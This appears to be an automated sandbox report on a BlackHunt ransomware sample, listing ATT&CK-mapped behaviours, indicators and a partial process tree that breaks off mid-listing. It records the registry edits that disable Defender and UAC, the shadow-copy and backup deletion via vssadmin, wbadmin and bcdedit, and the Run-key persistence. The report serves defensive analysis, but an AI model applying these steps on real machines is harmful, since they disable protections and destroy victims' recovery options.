bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b

Data Destruction

T1485

pid	Process
2388	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3228	bcdedit.exe
3992	bcdedit.exe

Renames multiple (515) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3788	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\W:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\J:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\X:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\S:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\Z:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\N:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\Y:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\L:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\U:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\A:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\B:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\E:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\I:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\M:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\R:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\O:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\H:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\K:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\T:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\P:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\G:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\V:	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened (read-only)	\??\M:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\lcms.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightRegular.ttf	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\ExpandPop.rar	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\giflib.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\PYCC.pf	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyDrop32x32.gif	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_Private.key	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\lcms.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\splash.gif	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\cursors.properties	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\dynalink.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\ecc.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\accessibility.properties	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\#BlackHunt_Private.key	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jdwpTransport.h	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\jni_md.h	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\relaxngdatatype.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_Private.key	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkDrop32x32.gif	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\UnlockResolve.jpeg	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\joni.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\profile.jfc	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxslt.md	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_es.properties	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfont.properties.ja	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_Private.key	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\javaws.jar	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\ExportResume.tiff	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_Private.key	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_TW.properties	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\RegisterConfirm.wmx	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_CN.properties	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2320	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4864	vssadmin.exe
1304	vssadmin.exe
1692	vssadmin.exe
4712	vssadmin.exe
1720	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Token: SeRestorePrivilege	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Token: SeBackupPrivilege	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Token: SeTakeOwnershipPrivilege	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Token: SeAuditPrivilege	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Token: SeSecurityPrivilege	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Token: SeIncBasePriorityPrivilege	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Token: SeBackupPrivilege	5040	vssvc.exe
Token: SeRestorePrivilege	5040	vssvc.exe
Token: SeAuditPrivilege	5040	vssvc.exe
Token: SeBackupPrivilege	3812	wbengine.exe
Token: SeRestorePrivilege	3812	wbengine.exe
Token: SeSecurityPrivilege	3812	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4732 wrote to memory of 4168	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	93
PID 4732 wrote to memory of 4168	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	93
PID 4732 wrote to memory of 4028	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	95
PID 4732 wrote to memory of 4028	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	95
PID 4732 wrote to memory of 1484	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	97
PID 4732 wrote to memory of 1484	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	97
PID 4732 wrote to memory of 2992	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	99
PID 4732 wrote to memory of 2992	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	99
PID 4732 wrote to memory of 1144	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	100
PID 4732 wrote to memory of 1144	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	100
PID 4168 wrote to memory of 3980	4168	cmd.exe	107
PID 4168 wrote to memory of 3980	4168	cmd.exe	107
PID 1144 wrote to memory of 4792	1144	cmd.exe	106
PID 1144 wrote to memory of 4792	1144	cmd.exe	106
PID 2992 wrote to memory of 4172	2992	cmd.exe	165
PID 2992 wrote to memory of 4172	2992	cmd.exe	165
PID 1484 wrote to memory of 3444	1484	cmd.exe	105
PID 1484 wrote to memory of 3444	1484	cmd.exe	105
PID 4028 wrote to memory of 4916	4028	cmd.exe	103
PID 4028 wrote to memory of 4916	4028	cmd.exe	103
PID 4732 wrote to memory of 1920	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	108
PID 4732 wrote to memory of 1920	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	108
PID 4732 wrote to memory of 4700	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	110
PID 4732 wrote to memory of 4700	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	110
PID 4732 wrote to memory of 1004	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	112
PID 4732 wrote to memory of 1004	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	112
PID 4732 wrote to memory of 3896	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	203
PID 4732 wrote to memory of 3896	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	203
PID 1920 wrote to memory of 2872	1920	cmd.exe	116
PID 1920 wrote to memory of 2872	1920	cmd.exe	116
PID 4732 wrote to memory of 3008	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	117
PID 4732 wrote to memory of 3008	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	117
PID 4732 wrote to memory of 1756	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	119
PID 4732 wrote to memory of 1756	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	119
PID 4732 wrote to memory of 3368	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	121
PID 4732 wrote to memory of 3368	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	121
PID 4700 wrote to memory of 3144	4700	cmd.exe	122
PID 4700 wrote to memory of 3144	4700	cmd.exe	122
PID 4732 wrote to memory of 3644	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	124
PID 4732 wrote to memory of 3644	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	124
PID 4732 wrote to memory of 4408	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	126
PID 4732 wrote to memory of 4408	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	126
PID 4732 wrote to memory of 704	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	127
PID 4732 wrote to memory of 704	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	127
PID 4732 wrote to memory of 2660	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	129
PID 4732 wrote to memory of 2660	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	129
PID 4732 wrote to memory of 4952	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	131
PID 4732 wrote to memory of 4952	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	131
PID 4732 wrote to memory of 2316	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	133
PID 4732 wrote to memory of 2316	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	133
PID 4732 wrote to memory of 4440	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	136
PID 4732 wrote to memory of 4440	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	136
PID 4732 wrote to memory of 2492	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	139
PID 4732 wrote to memory of 2492	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	139
PID 1004 wrote to memory of 2536	1004	cmd.exe	184
PID 1004 wrote to memory of 2536	1004	cmd.exe	184
PID 4732 wrote to memory of 3816	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	140
PID 4732 wrote to memory of 3816	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	140
PID 4732 wrote to memory of 2248	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	141
PID 4732 wrote to memory of 2248	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	141
PID 4732 wrote to memory of 5096	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	147
PID 4732 wrote to memory of 5096	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	147
PID 4732 wrote to memory of 4824	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	146
PID 4732 wrote to memory of 4824	4732	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe	146

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe
"C:\Users\Admin\AppData\Local\Temp\bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Windows\system32\reg.exe
